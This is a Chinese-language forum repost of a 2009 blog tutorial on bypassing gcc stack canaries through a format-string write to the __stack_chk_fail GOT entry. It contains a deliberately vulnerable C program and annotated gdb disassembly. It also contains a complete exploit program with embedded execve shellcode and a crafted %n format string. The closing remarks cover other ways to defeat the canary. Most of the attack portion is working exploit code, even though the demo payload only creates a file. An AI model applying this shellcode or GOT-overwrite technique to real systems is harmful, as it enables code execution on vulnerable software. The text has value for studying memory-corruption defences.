免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 1081 | 回复: 0
打印 上一主题 下一主题

突破ASLR保护和编译器栈保护(2) [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2009-08-12 20:29 |只看该作者 |倒序浏览

               

  Normal
  0
  
  7.8 磅
  0
  2
  
   
   
   
   
   
   
   
   
   
   
   
  
  MicrosoftInternetExplorer4

/* Style Definitions */
table.MsoNormalTable
        {mso-style-name:普通表格;
        mso-tstyle-rowband-size:0;
        mso-tstyle-colband-size:0;
        mso-style-noshow:yes;
        mso-style-parent:"";
        mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
        mso-para-margin:0cm;
        mso-para-margin-bottom:.0001pt;
        mso-pagination:widow-orphan;
        font-size:10.0pt;
        font-family:"Times New Roman";
        mso-fareast-font-family:"Times New Roman";}
为了防止栈溢出攻击,高版本的gcc通常会在编译时为局部变量含有char数组的函数中加入保护代码,通过:
0x08048481 :   mov    %gs:0x14,%eax
0x08048487 :   mov    %eax,0xfffffff8(%ebp)
把一个canary word保存在栈中,在函数返回时再通过:
0x080484dd :  mov    0xfffffff8(%ebp),%edx
0x080484e0 :  xor    %gs:0x14,%edx
0x080484e7 :  je     0x80484ee
0x080484e9 :  call   0x80483a8
检查该值是否被覆盖,从而判断是否发生栈溢出并转向相应的处理流程。另外,gcc还会调整局部变量的位置,把char数组挪到较高处,防止溢出时覆盖其它重要变量。这些措施在一定程度上增加了溢出攻击攻击的难度,但在某些特定情况下也可能被绕过,比如:
[vul.c]
#include
#include
#include
#include
#include
#include
#include
int main(int argc,char **argv)
{
    int fd;
    char buff[200];
    printf("SCD(%p)\n",getenv("SCD"));
    strcpy(buff,argv[1]);
    fd=open("/dev/null",O_RDWR);
    dup2(fd,1);
    printf(buff);
}
当存在可写任意内存地址漏洞时(某些栈溢出漏洞也可能导致写任意内存地址,为了演示方便,使用了format string漏洞),可以通过修改__stack_chk_fail对应的GOT项从而改变程序的执行流程。
lk@lk-laptop:~/Desktop$ gdb vul -q
Using host libthread_db library
"/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x080484a4 :    lea    0x4(%esp),%ecx->ecx等于esp+4
0x080484a8 :    and    $0xfffffff0,%esp
0x080484ab :    pushl  0xfffffffc(%ecx)
0x080484ae :   push   %ebp
0x080484af :   mov    %esp,%ebp
0x080484b1 :   push   %ecx->把ecx的值保存在栈中
0x080484b2 :   sub    $0xe4,%esp->这时的esp等于ebp-232
0x080484b8 :   mov    0x4(%ecx),%eax
0x080484bb :   mov    %eax,0xffffff28(%ebp)->把argv指针数组的指针保存在ebp-216处
0x080484c1 :   mov    %gs:0x14,%eax
0x080484c7 :   mov    %eax,0xfffffff8(%ebp)->把canary word保存在ebp-8处
0x080484ca :   xor    %eax,%eax
0x080484cc :   movl   $0x804862c,(%esp)
0x080484d3 :   call   0x8048398
0x080484d8 :   mov    %eax,0x4(%esp)
0x080484dc :   movl   $0x8048630,(%esp)
0x080484e3 :   call   0x80483d8
0x080484e8 :   mov    0xffffff28(%ebp),%eax
0x080484ee :   add    $0x4,%eax
0x080484f1 :   mov    (%eax),%eax
0x080484f3 :   mov    %eax,0x4(%esp)->把argv[1]放入esp+4处
0x080484f7 :   lea    0xffffff30(%ebp),%eax->buff的位置在ebp-208处
---Type  to continue, or q  to quit---
0x080484fd :   mov    %eax,(%esp)->把buff指针放入esp处
0x08048500 :   call   0x80483c8 ->执行strcpy
0x08048505 :   movl   $0x2,0x4(%esp)
0x0804850d :  movl   $0x8048639,(%esp)
0x08048514 :  call   0x8048378
0x08048519 :  mov    %eax,0xffffff2c(%ebp)
0x0804851f :  movl   $0x1,0x4(%esp)
0x08048527 :  mov    0xffffff2c(%ebp),%eax
0x0804852d :  mov    %eax,(%esp)
0x08048530 :  call   0x80483b8
0x08048535 :  lea    0xffffff30(%ebp),%eax
0x0804853b :  mov    %eax,(%esp)->把buff指针放入esp处
0x0804853e :  call   0x80483d8 ->执行printf
0x08048543 :  mov    0xfffffff8(%ebp),%edx
0x08048546 :  xor    %gs:0x14,%edx->比较canary word是否改变
0x0804854d :  je     0x8048554 ->相等则正常返回
0x0804854f :  call   0x80483e8 ->不等则转向失败处理
0x08048554 :  add    $0xe4,%esp
0x0804855a :  pop    %ecx->恢复ecx的值
0x0804855b :  pop    %ebp
0x0804855c :  lea    0xfffffffc(%ecx),%esp->esp等于ecx-4
0x0804855f :  ret
End of assembler dump.
(gdb) x/i 0x80483e8
0x80483e8 :      
jmp    *0x8049758->要写入的内存地址为0x8049758
(gdb)
[run.c]
#include
main()
{
    system("touch test");
}
[exp.c]
#include
#include
#include
char
scd[]="SCD=\x90\x90\x90\x90\xeb\x18\x5e\x31\xc0\x88\x46\x03\x89\x76\x04\x89\x46\x08\x8b\x56\x08\x8d\x4e\x04\x89\xf3\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xffrun";
int main(int argc,char **argv)
{
    int i,j,addr;
    char buff[240];
    char
*sargv[]={"vul",buff,NULL};
    char *senvp[]={scd,NULL};
    addr=0xbfffffd1;
    *((int *)buff)=0x8049758;
    strcpy(buff+4,"%700000000u%700000000u%700000000u%700000000u%");
    addr=addr-2800000004;
    j=strlen(buff);
    sprintf(buff+j,"%uu",addr);
    strcat(buff,"%n");
    for(i=strlen(buff);i        buff='A';
    buff[239]='\0';
    execve(sargv[0],sargv,senvp);
}
另外,经过测试,当char数组小于8时,gcc不会在编译过程中加入保护代码,这时可以按照传统的方法溢出。而在ubuntu、debian系统中,canary
word是一个固定的数0xff0a0000,因此有可能通过多次覆盖或者基于memcpy的栈溢出绕过该保护。

               
               
               
               
               

本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u3/102108/showart_2025892.html
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP